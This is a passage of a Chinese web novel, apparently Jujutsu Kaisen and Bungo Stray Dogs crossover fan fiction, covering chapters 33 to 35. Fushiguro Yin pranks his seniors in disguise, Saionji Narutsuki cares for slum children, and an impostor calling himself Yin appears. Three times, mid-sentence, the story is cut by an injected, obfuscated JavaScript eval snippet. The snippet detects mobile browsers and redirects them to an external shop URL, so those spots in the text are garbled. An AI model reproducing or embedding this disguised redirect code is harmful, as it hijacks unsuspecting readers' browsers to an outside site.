“好吧。”青年声音拖长,紧接着语气委屈下来,“可当时的五条同学明明反应不大,而且这并不是什么天大的坏事吧。” 他站起来,深灰的衣摆垂下,不轻不重打在脚裸。 青年倏地出现在夏油杰面前,散开的卷发毫无章法地飘起,把少年刚刚拿起矿泉水的手吓得一哆嗦。 他弯下腰,掀开半垂的眼皮,明显戴着美瞳的眼睛打量起面前的人。 紧接着盯着夏油杰额前刘海,若有所思,“夏油同学,审美一如既往的差啊。” 没管夏油杰的反应,青年又转身,看向努力缩减自己存在感的家入硝子,摸着下巴思索了很久。 思索到家入硝子没忍住悄悄拿纸擦了擦冷汗时,他才开口道:“真没意思,好吧,我的学生时代确实没有好玩的地方,我也知道现在的我有多么无聊。” “不过,我倒是理解为什么在见到你们之后,我会升起捉弄的想法了。” 黑卷发青年不知从哪变出一顶雪白的高顶帽,笑眯眯地戴在头顶,“小时候被捉弄得只敢偷偷哭鼻子的家伙,现在变得那么厉害了啊。” 话音落地,云开雾散。 六眼的视野再次被密密麻麻的信息充填。 在座的另外两个人都同时松了一口气。 家入硝子从口袋摸出烟盒,抽出一根点上,叼在嘴里,“杰,他又在拿你被骗哭那件事调侃你了。” “他说我变厉害了……”夏油杰呢喃,忽地抬手捂住脸,声音微弱到与蚊蚁无异,“他之前只会说我弱小。” “……你这样显得很痴汉。” “所以隐的术式不止有障眼法和空间转换两个功能。” 六眼什么术式发动痕迹都没看见,只有一些奇怪的能量波动,暂时不知道这是什么的五条悟站在青年消失的地方,最后恶狠狠地总结:“他又骗老子!” “等等,”家入硝子发现了什么不对,“他刚才是不是说了什么……吞并?” 那这个时间的隐——第一个反应过来的夏油杰冲出宿舍。 “……所以不用担心我在高专的生活啦。” 推开门时,似乎没想到有人会在这个时候串宿舍,正在与人通话的学弟诧异地挑了挑眉。 “夏油学长?” 刚洗完澡的少年穿着件宽大的白色短袖,湿漉漉的头发被发箍撩起来,露出完整的、带着些许锋利的五官,他表情略微带着点害羞。 “是有什么事情吗?” 直面迎上这张与方才别无二致的面容,着急赶过来的夏油杰扶着门框的手紧了紧。 急躁情绪极速而来又瞬间褪去,留下无地自容的尴尬如湿沙般黏附在胸腔中。 “啊……” 他不自在地左右看了看,试图找到一两点可以展开的话题,“我……我刚才看到有……有一个人影跑进这里……嗯,就有些担心隐的安危。” “隐怎么没关宿舍?我还以为你遭遇不测了哈哈哈。” “我居然没有锁门吗?” 听到这话,伏黑隐好像也有点惊讶,他放下手机,几步走到门口检查了下门锁。 “估计是我忘记了,之前不习惯锁门。”白发学弟朝他露出笑容,“谢谢夏油学长提醒啦。” “不客气。”总算把稳重找回来的夏油杰微笑着点头。 “那个黑影可能是我最近熬夜产生的幻觉,看错了吧,那么就不打扰……” “隐还记得十分钟前在做什么嘛?” 告别的话语被突然出现的五条悟打断,他毫无边界感地将脸贴近到伏黑隐面前,苍蓝色眼瞳肉眼可见的兴奋,“还记得吗还记得吗?” 伏黑隐一头问号:“我或许在……洗澡?” “那二十分钟前呢?” “啊……吃饭?” “半个小时前呢?” “……” “你的头发会变色吗?” “?” 短短几句对话,白毛学弟的表情慢慢转变成了无奈,不明所以的他直言道: “五条前辈,你到底想问什么?” 一提到这个,五条悟就更加兴奋了,“隐,你失忆过吗?就是那种怎么也想不起来的空白记忆。” 伏黑隐摇头。 “没有。” 抽完烟过来的家入硝子提出另一个可能:“那那种,偶尔会觉得自己不像自己的感觉,伏黑有过吗?” ”这个的话……” 伏黑隐这次认真地想了想,“有过吧。” “可以详细说一说吗?” 夏油杰的声音不自觉紧张起来,“粗略一点也可以。” “因为总觉得,以前的自己对爱情的了解还是太过片面,所以笃定日后不会恋爱什么的,有点武断了……” 脾气很好的学弟知无不言,他今天格外容易害羞,刚说完又微妙地停顿了一下。 “但我明明不是会质疑自己的人,所以说,恋爱果然能够改变一个人的思想啊。” 家入硝子:“!” 五条悟:“?” 夏油杰:“……” 一石激起千层浪,层层浪花不一样。 看着三位前辈神色各异的表现,伏黑隐弯唇笑了笑,“感觉很惊讶吧?我有时也会这样想,莫名其妙爱上一个人这种事居然会出现在我的身上。” “……什……什么时候的事?” 夏油杰神情飘忽,仿佛随时能跟着夜风散往世界。 “就这个假期的事情啦,还要感谢一下前辈们呢,要不是放假那天突然提起那些画,我可能这辈子都想不明白,为什么我会无知无觉画出他的身体。” 伏黑隐笑着说,他的脸上满是热恋中的幸福与满足,“我也是前些天才想明白,原来我喜欢他啊。” “所以……”夏油杰的语句颤抖,“是因、因为我……” 因为他和悟当时说过的话?! 因为悟说的那个肌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648838|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉○男?! “总之,非常感谢五条前辈和夏油前辈帮助我认清自己的感情,不然的话,我可能现在都还在迷茫自己对他到底是什么感情呢。” “……” “………” 夏油杰快被自己脑子里联想到的场景给弄破防了,他虚弱地后退一两步,“这、这样吗……” “所以隐的恋人是个普通人?”五条悟问,他看起来非常在意这个问题的答案。 猝不及防被五条悟大头贴脸的伏黑隐下意识点头,“对,他不是咒术师。” “隐。” “怎、怎么了?” 五条悟郑重其事的说:“夜蛾和他的普通人妻子离婚了。” “那……”伏黑隐莫名被看得有些心虚,“节哀?” 节哀不是这么用的啊…… 家入硝子扶额,她看了一眼夏油杰,发现他还在持续破防中,无奈地充当了一次翻译。 “悟的意思是,咒术师和普通人谈恋爱,可能不会有太好的结局。” 伏黑隐:“。” 他们被白毛学弟微笑着赶出了宿舍。 被关在门外的三个人:“………” “看来伏黑对这段恋情很重视。” “隐二十多岁的时候身边一个人都没有。”夏油杰自言自语,“所以他们会分手……” “不要说得和马上就要去当插足别人感情的小三一样啊……杰你不会去做违背道德底线的事情,对吧?” “………” “回答我啊人渣!” “话说我们不是来问大隐和小隐的吗?”五条悟难得的没跟着挚友闹腾,他敏锐地察觉到了什么,“隐不会是在故意岔开话题吧?” 关上门,伏黑隐脸上僵硬的笑容瞬间自然起来,他重新坐回沙发上,将被自己倒扣的手机拿起来。 屏幕里,正侧对着镜头抽烟的伏黑甚尔余光瞥见界面亮起来了,扭头,只问了一个问题。 “无知无觉画出我的身体?” “你超级性感。”伏黑隐挑眉。 他没说自己还画了五条悟和夏油杰的。 “所以让我在电话面前傻呆了两个小时,就是为了让我听到这个?” 很明显的,讨要奖励的话。 伏黑隐撑头想了想,“我们找个机会,约个会?” “当着高专的人?” “也可以。”白发少年说,灿金色的眼睛半眯起,“毕竟都已经说出来了,总该让你过过明面。“ 伏黑甚尔笑了一声,转移了话题。 又断断续续说了几句话,才挂断这通维持了一小时,但只说了几句话的通话。 伏黑隐将还亮着屏的手机丢到沙发上,一边拿起喝到一半的果酒,一边将扔在洗手间的帽子拿出来。 这是『最佳演员』的装备,一顶可以把佩戴者变成任何一人的帽子,非演员使用时效减半,但勉强可以拿去吓一吓人,是商城的一次性道具。 对着镜子,伏黑隐理了理已经半干的头发。 又将放在洗漱台上的隐形眼镜销毁。 [所以说,他们在十二岁左右认识了未来的我。] 他刚才用的是自己原本样貌,同时也是『双面鬼』黑方阵营时的样貌,[该多套点话的,感觉这次都在被怀疑的边缘徘徊了,下次出现不一定能知道更多信息。] 有点可惜。 『双面鬼』的固定属性就是演技浮夸。 [但是我们没事去从前的时间线干什么?] 从下午就一直没停止过数据分析的搭档嘎嘣一声咬碎磨牙棒,他还是没有想明白:[世界不是说,过去没有需要改变的东西吗?] [等到那个时候就知道了。] 神隐将帽子回收:[反正伏黑隐现在什么都不知道。] 看样子他们对未来的自己感官不差。 那就顺其自然吧。 33.第 33 章 他后悔了。 他不该着急的把一个角色卡只能使用一次的道具用在那个时候,拿去撒气加搜集信息的。 第N次被从一年级课堂拐到二年级课堂去,并顺带被强制捆绑着去做任务的伏黑隐瘫在课桌上,俨然一副失去了对人生的理想与展望模样。 他该把道具用在这个时候的。 伏黑隐想。 那次之后,明里暗里试探自己术式的五条悟显得更加热情了——伏黑隐怀疑其中有报复的成分在。 “感觉小隐真的好忙啊,原本还以为下午不用上课很轻松什么的,结果每次小隐上课都是一副没精打采的样子……需要治疗的人真的好多啊。” “对比上个学期,其实已经少很多了。” 伏黑隐抱着臂走在两个同期中间,说着说着就不由自主打了个哈欠,“如果当天只有医务室的事情,至少能够睡满七小时。” 之前伏黑白给总监会投毒的效果显著,“受伤”的人大大减少,现在,伏黑隐偶尔还能在医务室和家入硝子打几把游戏。 如果排除掉不稳定因素的话。 他的高专生活会变得忙碌但快乐。 “嗯——总之,现在的日常我很满足。” 来到高专之后,这还是伏黑隐第一次在离开高专时坐辅助监督的车。 他有些新奇的坐在灰原雄旁边,左看看右看看,“这是我第一次在出任务的时候坐车。” 灰原雄好奇:“小隐之前没有出过任务吗?” “我本身是没有袚除任务的。”伏黑隐解释道,他朝向自己看过来的辅助监督露出微笑,“但是不妨碍我跟着其他咒术师一起出来。” “夏油前辈在春假收服了一条龙形咒灵,赶路超级快,就是太快了风有些大。” 每次骑那个去外面玩头发都要炸毛。 这是伏黑隐首次和同期一起外出做任务,本来是没有空的,但昨晚的总监会总部又发生了小范围的爆炸,需要转交过来的伤患全部没了。 于是伏黑隐就有空了。 看着他们合力将咒灵袚除,今天也在充当着气氛组的伏黑隐拍手鼓掌,“完美收工。” “大雄和七海都超级棒哦。” 他说着,抽出几张纸递给两个人,“擦擦汗。” 等到周遭咒灵留下来的痕迹全部消失后,伏黑隐合掌一拍,笑容灿烂:“为了庆祝我们第一次袚除咒灵大成功,我们去逛街吧!” 灰原雄指了指游泳馆外,“不用告诉辅助监督吗?” “我提前说过啦。”伏黑隐心情很好地晃晃手机,“辅助监督在十分钟前就已经离开了。” 他的笑总是灿烂的。 灿烂到让人对他的话语根本起不了疑心。 灰原雄欣然接受了这个理由。 “那我们走吧,昨天一幸庵出了新种类的和果子,我超级想去吃的,话说你们喜欢吃和果子吗?” “只要不是太甜的味道,我统统都能接受啦。” “七海海呢?” 所以为什么我要选择在这里帮忙排队,付钱,提东西,而不是在任务完成之后立马回高专休息…… 刚刚陪伏黑隐排完队,手里提着好几个小吃袋子与甜品盒子的七海建人沉默片刻,回答:“我没什么爱吃的。” “七海,不可以省略回答。”他的白毛同期一眼看穿了回复里的敷衍,“你肯定有爱吃的东西。” “然后我们要走遍整个商城,小吃街,便利店,直到找到我喜欢吃的食物才回高专吗……” 七海建人难得的,一口气说了那么长一串话。 他说完,就发现站在面前的伏黑隐正直直地看着自己,灿金色的眼睛不知道想到些什么,看着有些呆。 以为是自己语气太重吓到人了,金发少年的喉结滚了滚,“我……” 伏黑隐:“所以七海同学喜欢吃什么?” 七海建人:“……” 最后还是被两个同期拉着去了他初中时期常去的那家面包店。 三个一年级生满载而归。 “我初中也很喜欢去一家关东煮店,那是我吃过这辈子最好吃的关东煮,虽然离学校有点远,但跑快一点就可以赶上了,关东煮旁边的那家烤肉店我也喜欢吃,不过价格有点贵,要攒一周的零花钱才能够去吃一顿,但是真的很好吃!” 灰原雄照常与同期分享着他的过去。 伏黑隐听着,也勾起了一点对往昔的回忆,他接着灰原雄的话尾说: “我之前当医生的那片街区,也有一家超棒的拉面馆,有好一段时间我天天都去那里吃,可惜后面倒闭了。” “啊……那太可惜了。” “也还好吧,那家面馆的老板原本想给我下药的。”伏黑隐说,“被识破之后,凌晨给我发了条恐吓信息之后,就自杀了。” 灰原雄:!!! 七海建人:!!! 白毛同期像是根本不知道自己这话有多么吓人,吃完最后一口芝士棒,他将木签放进纸袋,认真回想了一下。 “我记得,好像是‘既然吃不掉你,那就请将我吃掉吧’这句话,在白天的时候,他的眼球就被寄到了我的诊所。” “后面,面馆就因为找不到适合的厨师倒闭了。” “所以为什么能用那么平静的话说出如此恐怖的事情……” “因为很常见吧,我之前还经历过绑架呢。” 面对两位同期瞳孔地震的注视,伏黑隐拆开一颗芝士球,镇定自若,“我还留着照片,等回宿舍就给你们看。” 然后,伏黑隐就在灰原雄的宿舍,给他们讲述了从前经历过的种种事件。 由于讲的太过沉迷,听得也太过身临其境,三个人中没有一个人发现时间来到了凌晨。 导致第二天也没有一个人去上早上的课。 黑冢墨:“……” …… ………… 西园寺鸣月和中原中也是在一次地盘争夺战中再遇的。 彼时的西园寺鸣月正带着从商城购买的、假装从外面采购的「能够让人心情愉悦的随机种子」心情愉悦地从战场中心经过。 然后差点被中原中也一脚踢飞。 看着已经踹到腹部,但人纹丝不动的中原中也:“……” 已经被踹到腹部,半条命差点被踹没,活生生依靠对风姿的执着昂然不动的西园寺鸣月:“……” 两双色泽不同的蓝色眼睛对视一眼。 中原中也:“是你?” 西园寺鸣月:“……” “你怎么不说话?” 西园寺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655455|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣月伸手,指了指还踩在自己身上的脚。 “……啊,哦。”中原中也迅速收回腿,眼睛突然往四处飘去,左顾右盼上看下望就是不看西园寺鸣月,“我忘记了。” “没关系。”西园寺鸣月擦掉嘴角流出的鲜血。 “你这个样子完全不像没关系啊……我,我那边还有些药,你在这里等着,我把药带过来。” “不用。“ 金发青年拦住话还没说完就打算离开的中原中也,“我已经痊愈了。” 中原中也回头,冷不丁看到西园寺鸣月又吐出一口血,“……痊愈?“ “啊,这是淤血,吐出来对身体好。” 褚发男孩的表情一言难尽,他刚想说些什么,不远处就响起一声呼喊。 “中也!” 他猛地转身,匆匆朝金发青年落下句“等我一会儿”,身上便泛起红光,重新加入了战场。 原来是『羊』和其他组织在抢地盘啊。 西园寺鸣月摸摸自己的种子,又摸摸自己的宝石,最后看向自己的宝剑,确认没什么遗漏之后,在中原中也远去的一分钟后转身就走。 大混战没什么好看的。 有中原中也在的战斗,胜局早就被『羊』锁定了。 骑士对有了强大守护者的群体没什么兴趣。 至于信守承诺…… 西园寺鸣月又没答应。 他拍干净衣服上的鞋印,趁机远离了战场。 这段时间西园寺鸣月在准备材料,打算新建一栋大点的房子,那群孩子现在居住的地方太挤,夏天闷热,冬天又寒凉得紧。 擂钵街不是个适合孩子成长的地方。 他在考虑等森鸥外谋权篡位成功,把他们带回港口Mafia,反正也就十来个人,占不了多少资源。 现在先打好关系吧。 擂钵街往外一点的地方新开了家诊所,听野比二郎说,那是个很落魄的青年医生,带着他的女儿。 那个他们看起来完全不像一对父女,真的。野比二郎还详细说了两个人的样子。 “——” 西园寺鸣月前行的脚步一停。 他刚才好像听到了似曾相识的声音。 [这咋和你小时候声音那么像呢。] 不,不止是像的程度了,冰蓝色瞳孔扫过声音发出的地方,单手拿着剑的金发青年没有动。 [没扫出来什么东西……诶?世界呢?] [睡了吧,祂不是说偶尔会睡一觉吗,没事,给我套个盾,我看看什么情况。] 难道是敌对公司? 但这也不算业绩啊。 而且为了一点利益争斗就波及到其他世界……冷风卷走碎石杂物,原本狭窄的地方登时敞亮起来,西园寺鸣月握着剑柄,循着声音响起的地方走去。 他目光向角落看去。 墨黑卷曲的头发,消瘦到和幼猫一样脆弱的身躯,这是一个十岁左右的孩子,绷带几乎缠满了一整张脸。 听到陌生的脚步,缩在角落的孩子抬起头,露出双猩红的眼睛。 “……” 搭档:[?] 神隐停在原地,盯着他沉默良久。 这打扮…… 咋和新活动PV里自己留下的剧照那么像呢? 34.第 34 章 最终还是把人带回去了。 这孩子好像还真知道自己是谁,西园寺鸣月刚蹲下,一双被绷带裹得严严实实的手就死死抱住了他,死活不愿意撒手。 但他可能有点紧张局促,被西园寺鸣月抱起后就一直在发抖,力气也用的很大。 他余光瞥见被绷带包裹住的手臂。 和神隐那张照片一样,跟个木乃伊似的。 那次活动的主题叫《战争以后》,每个角色都带点伤病,神隐当时抽到的是大面积烧伤毁容,所以身上绷带最多,抽到精神分裂、剃了光头的便宜兄弟嘲笑了他好一阵子木乃伊。 有意想让人放松下来,西园寺鸣月温声问:“你叫什么名字?” 然后怀里的人抖得更猛,抱得也更紧了。 [怎么什么都查不到……我难道不是这个世界权限最高的人吗……] 搭档还在疯狂扫描着这个和神隐神似、但除了建模什么也看不出来的家伙,话语听起来已经开始疯魔了。 听着脑子里的魔音,又看了看抱住自己,将头紧紧挨住自己脖子颤抖的孩子。 西园寺鸣月叹口气。 “别害怕。”他摸摸肩侧毛茸茸的头,“在我这里,你很安全。” “西园寺先生!” 刚迈过插进土里的一根木棍,孩子呼喊的声音便响起在附近,拥有一头烈火般炽热的红发男孩从房顶翻下来,跑到西园寺鸣月身前,“您过来了。” 他说完,才后知后觉看到了金发青年抱着的人,“西园寺先生,这也是您的朋友吗?” 也不怪他如此想,这一身绷带的打扮,与之前的藤原千学多少有点相似,只是看着要更高一些。 一想到藤原千学,红头发男孩的表情就像是吞了苍蝇一样难受。 看见小红脸上的表情,猜到他想到了什么的西园寺鸣月失笑着摇摇头,解释道:“不,这是我回来路上遇见的。” 说着,他将口袋里的种子拿给小红。 “先把这些种在昨天翻新的土里,我一会儿过来找你们。” 拿着种子的红头发男孩没跑出几步又回头,想再说些什么,毫不设防地对上一双猩红的眼睛。 一双布满红血丝,大到仿佛要脱落下来的眼睛。 他被这突如其来的对视吓得后退一步,已经升到喉咙处的话语也硬生生被堵死在嘴中。 怎么看起来比上次家伙那个还可怕……突然忘记刚才想说些什么的小红摸摸后脑勺,决定先回去种种子。 …… 西园寺鸣月遇到了他来到擂钵街后的第一个难题。 他要怎么将这个手脚并用、宛如八爪鱼一样挂在自己身上的男孩放到面前的椅子上。 不管温声细语说了多少话,他都一副死不撒手的样子,不回应也不动弹,像是想要就此和西园寺鸣月的身体绑定。 他抱的实在太紧了,连西园寺鸣月也感到了一丝窒闷。 “所以你是认识我吗?” 金发青年郁闷地看了看天色,距离他对小红说的“一会儿”已经过去了三个小时。 “你这样也不好受吧,要不要换个姿势?” 大部分成年人都做不到长时间维持一个极其耗费力气的姿势,更何况是一个孩子。 如果不是这个世界原住民的话,反转术式是绝对起不了作用的。 想要凭借反转术式看看这个人的来历,首先得在身上找到一个合理的伤口。 他不相信裹了那么长时间的绷带身上不会长痘! 然后,自认完美无缺的试探卡在了第一步——听到这个问题的孩子抱的更加紧了。 还是没有得到回复的西园寺鸣月揉揉眉头,他已经不知道这是这个小时的第几次叹气,如果条件允许的话,他更想抽一根烟,然后尝试用烟味将身上的孩子赶下来。 其实也可以直接将人扒拉下来。 但这个孩子用的力气太大了,身体看起来也很脆弱,并不对等的力量相撞,结果只会是这个孩子受伤。 加载了骑士身份的西园寺鸣月也不是这样的人设。 “我还得去其他孩子那里看看。” 无奈之下,他只能这样说,“你要和我一起过去吗?” 顷刻,靠在肩头的脑袋轻轻点了一下。 等到抵拢石头屋,果真得到了与平日完全不一样的注视。 总有一种背着家里偷偷在外抱养了一个孩子,等到要带着养子回家才告诉亲子的既视感…… 西园寺鸣月轻咳一声,若无其事看向离自己最近的野比二郎,“种子放进去了吗?” “都放进去了。” 野比二郎的视线同样落在了坐在金发青年手上的人身上,但并没有说什么。 “您需要去看一看吗?” “不用了。” 西园寺鸣月驻足在新筑的地基与初具雏形的房屋骨架前,冰蓝色眼眸中流露出真实的讶异与惊喜,“这些都是你们完成的吗?” 昨天晚上野比二郎过来问他打算将房子建成什么样,西园寺鸣月就随手将搭档弄的设计图拿给他看了。 没想到不到一天时间,这群孩子就还给了他如此大的一个惊喜。 “很厉害。”西园寺鸣月轻声赞叹。 尽管各处仍显粗糙,很多细节上也不合格,但在这个年纪,还是大多知识都不了解的孩子能做到这个程度,已经足够令他惊喜了。 在这样直白的赞赏让野比二郎有些局促地低下头。 “毕竟这是您要为我们建的房子。” 他无意识碾着地上的碎石子,将它滚来滚去,“我们也想……能多帮上些忙。” “我的十二岁,” 西园寺鸣月望着他们的成果回忆,“是在雪地里和同伴们比较谁往冰窟里丢的石头多。” 他转回视线看向野比二郎,唇角扬起温柔的弧度。 “那个时候的我可远远比不上现在的你们。” 说着,金发青年先走进房屋里看了看内里,又忍不住发出一声感叹。 “说不定再过几年,我就能拥有十七位非常出色的助手了。” 看着明显对上一句话产生了憧憬与向往的棕黄发少年,西园寺鸣月含笑轻点他的额头,“所以不要再因为一两句夸赞就害羞了,二郎。” “言语的赞赏在将来只会更多。”他声音轻柔而笃定,“我的助手只有在面对足够耀眼的宝石时,才应该产生惊喜的情绪。” 这里有十七个孩子,等首领更代后,他打算全部带出擂钵街。 看着眼前的建筑,搭档将不稳固的地方传输给他,基本全篇都标了红,但也还好,一会儿买点用以加固防塌的道具就好了。 反正也住不了太久,西园寺鸣月想。 由于怀中还抱着人,他的动作幅度受限,只简单在他们搭建的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663962|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建筑里看了一圈,又给新播的种子逐一浇过水,再督促明显饿了一整天的孩子们用完餐食后,西园寺鸣月就准备离开了。 “西园寺先生!” 芥川龙之介突然叫住他。 这个唯一拥有异能力的孩子是众人中最强大的,却也是受伤最为频繁的。 他的战斗方式激进到总让人怀疑他是否感知得到痛觉。 西园寺鸣月对他印象最深刻的一件事,就是在第一次见面的时候,发现罗生门攻击不到自己,芥川龙之介第一时间想到的不是逃跑,而是张嘴恶狠狠地咬向他的手臂。 然后准确无误地咬到了用钻石做的袖扣——被崩掉了两颗牙。 以至于在野比二郎那里得知事情脉络之后,芥川龙之介好长一段时间,都不怎么敢在西园寺鸣月面前开口说话。 此刻面对这声挽留,金发青年温和回应,“龙之介还有什么事情吗?” 穿着件灰色连帽衫的芥川龙之介盯着他的肩膀处,那里靠着一个人,猩红的眼睛似乎困了,无精打采耷拉着将视线落在地面。 “他……” 纵然知道西园寺鸣月不会生气,芥川龙之介还是忐忑了好几秒,才鼓起勇气问:“他是您的孩子吗?” 听到这话,绷带后低垂的眼睫颤了颤。 西园寺鸣月:? 金发青年失笑,空着的手利落地将人抱起,让他能够平视自己的双眼,“龙之介,仔细看看,我的眼睛里有什么?” 忽然被抱起来的芥川龙之介:“!!!” 他木楞地看向青年所说的眼睛。 冰蓝色的眼睛里似乎转动着什么,比瞳色更浅一些,比花朵更漂亮一些,芥川龙之介没有见过。 被抱起来之后,大脑就瞬间空白的他顺着青年的话尾问:“……是、是什么?” “是晶花,只有我的家乡有。” 西园寺鸣月和他科普,“这是我以后的孩子,乃至所有后辈都会拥有的一个象征。” 他将人轻轻放回地面,又着重强调。 “所以,我绝对生不出来没有蓝眼睛的孩子。” 仍在恍惚中的芥川龙之介呆呆地回望他,“好,好的。” 看这样子绝对没有在听啊……西园寺鸣月揉揉他的头发,轻声道:“不要再想东想西了,我没有诞下子嗣的想法,所以心里最重要的孩子是你们啊。” “而且我才二十二岁。”说到这个,青年不禁笑出声来,“怎么可能会有一个那么大的孩子,龙之介。” “没有人比得过你们,记住了吗?” “……记住了。” 等到金发青年的身影远去,彻底没了踪影,仍沉浸在“居然被拥抱了”的震撼中的芥川龙之介才后知后觉地反应过来——方才西园寺先生和他说了些什么。 最重要…… 是最重要的!!! 发现西园寺鸣月走了很久,芥川龙之介还维持着这副呆样,且面色越来越红,野比二郎担忧地走过来,拍拍他的肩膀。 “龙之介?” “嗯!” “你的罗生门要把西园寺先生的种子挖出来了。” “!” …… ……… 一个好消息,回到居住地之后,这个孩子总算愿意下来,并开口说话了。 一个坏消息,他说,他叫隐。 伏黑隐的隐。 35.第 35 章 不知道这家伙说自己叫隐的时候,他心里想的是什么。 反正西园寺鸣月内心是不太平静的。 - [你他妈不是gay吗?!!] [你信这个外人不信老子没儿子是吧!] [他和你长得那么像!] [除了眼睛和头发,还有妆造,其他的哪里像了?哪里像了!!] 什么都不知道的神隐和什么都扫不出来的搭档,对这一事产生了激烈的争论。 表面上,就是西园寺鸣月在听到这个名字后,立刻呆站在了原地,晶莹的蓝瞳看着男孩发愣,像是在回想些什么。 片刻之后,他才回过神。 一阵寒风重重拍在男孩脸上,锋利的剑尖指向被围巾圈住的脖子。 “你是谁?” 金发青年的字句夹杂着冰。 坐在矮凳上的男孩像是感受不到这股冷意,他睁着猩红的眼睛,重复了最初那句话。 “隐,我是隐。” 握着剑柄的手极细微的颤了颤,西园寺鸣月胸膛不规律地起伏几下,“你是谁?” “隐。” 固执的答案。 身躯消瘦的男孩半点不怕头顶的冰棱。 西园寺鸣月否定道:“你不可能叫这个名字。” 男孩垂眼,缠满绷带、不露出一点肌肤的掌心放着一颗苹果,那是刚才的西园寺鸣月拿给他的。 “我就是隐。” “……” “你曾经有一个梦想。” 短暂的安静后,自称为隐的冒牌货主动开口,“你想逃离日夜训练、杀人比斗的生活,想去往一个没有人知道你的地方,平静的度过余生。” “我说,”他重新对上金发青年的眼睛,由尸山血海提炼而成的血眸弯起,异常乖巧,“我会成为这个世界最厉害,最不可替代的医生,然后带着钱来投奔你。” “……” - 神隐:[嘶,这个剧情……] 搭档:[咋这么像之前世界灌输给老首领的剧情。] - 西园寺鸣月后退一步,已经攀爬到屋顶的冰面也层层退却,碎裂融化,变回空气中不起眼的水雾。 他垂下眼,挡住风云突起的眸色。 “你姓什么?” “伏黑,我是伏黑隐。” 哇哦。 西园寺鸣月又退远了一点。 他突然有些控制不住自己的表情,连说话的声音都变得扭曲,“你确定你叫这个?” ‘伏黑隐’点头,苍白的唇角勾起与眼眸相同的乖巧弧度。 西园寺鸣月最后深深看了他一眼,消失在了原地。 “……” 过了很久,安静的室内才骤然响起一阵剧烈的喘息。 只松懈了半秒钟的男孩掐住手掌,眼睛突然泛起道浅色的纹路。 他重重闭了下眼。 ……… …… 总控空间站. 搭档一把将冒牌货伏黑隐的照片拍到世界面前,“世界,他是谁!” 代表世界的书籍身上的光芒闪了闪。 “我看不见。” “这上面的人你看不见?” “是的。” 神隐思索着走过来,“那个冒牌货不知道我的存在,不是外来世界的人。” 听到这句话,世界想到什么,代表着它的书籍开始翻页。 “不是的话,或许是来自if世界线的人。” if世界线。 在原本世界线之外,基于某个关键选择或事件的不同结果,而衍生出另一个结局发展的故事脉络。 每条if世界线独立存在,与主世界线并行。 他们如今所在的世界也算是if线的其中一个,只是这个世界早就脱离主脉络,开始了自主发展。 所以说,这里早就自成了一个主世界线,现如今的世界尚且脆弱,不可能再发展其他if线。 能够将世界屏蔽,并不被世界发现的人,如果不是更高阶世界的来客,那就只有一个可能了。 ——有原世界if线的人发现了这里,并偷渡到了这里。 搭档喃喃:“所以说那个偷渡客比你厉害……” “是的。” 世界承认的太过干脆利落,搭档反倒疑惑地挠了下头,他小声嘀咕着回到工位,专心监控那个偷渡客去了。 “那他伪装成我做什么……”神隐思考半天也没思考出个头绪来,“伏黑隐和西园寺完全没关系吧。” 悬在星河中的书籍光芒明灭,书页停在某一页,“我编纂记忆时,有参考您的设定。” 神隐抽出张素描纸,将偷渡客的样子画出来,举到世界面前。 “你看他像谁?既然是平行世界的偷渡客,那应该有同位体的吧。” 世界:“他整容了。” “?” 搭档不可思议的坐直身体,“哇。” 绷带缠的那么严实还整容,未免太过稳扎稳打了吧。 …… ……… 对着镜子,伏黑隐摸了摸脸,又搓了搓头发,最后露出一个乖巧的笑容。 下一秒面无表情的将镜子盖住。 “你……怎么了?” 旁边响起七海建人小心翼翼的询问。 伏黑隐咧开嘴朝他笑了笑,“没什么,刚刚做梦,梦到了六耳猕猴。” 可是你刚才在画画…… 七海建人欲言又止。 再三纠结下,他取出钱包,递给了伏黑隐一张名片。 “这是?” “我之前常去咨询的一个心理医生,你可以去和他聊一聊。” “?” …… ……… 深夜,星光零碎。 稀薄月光落在光滑的石头上,反射出一两点不显眼的微茫。 中原中也刚准备睡觉,就眼尖的发现了窗外夜景的不同寻常,以往偶有月光洒入的地方,突然有一两秒金点闪过视野。 这点金很完美地融入了夜色,但中原中也还是发现了它。 “什么人?!” 他厉喝一声冲出房间,意外看到了不该出现在这里的金发青年。 意外于有人会发现自己,盘腿坐在房顶上喝酒,只穿着件灰色衬衫的青年诧异地挑挑眉,“是你啊。” 他说着,拿起放在房顶的清酒,又给自己倒了一杯。 “你怎么会在这里?” 中原中也犹豫一番,还是走了过来,“白天的伤……怎么样了?” “当时就已经痊愈了。” 似乎因为旁边有人了,西园寺鸣月嘴角心情很好地上扬起来。 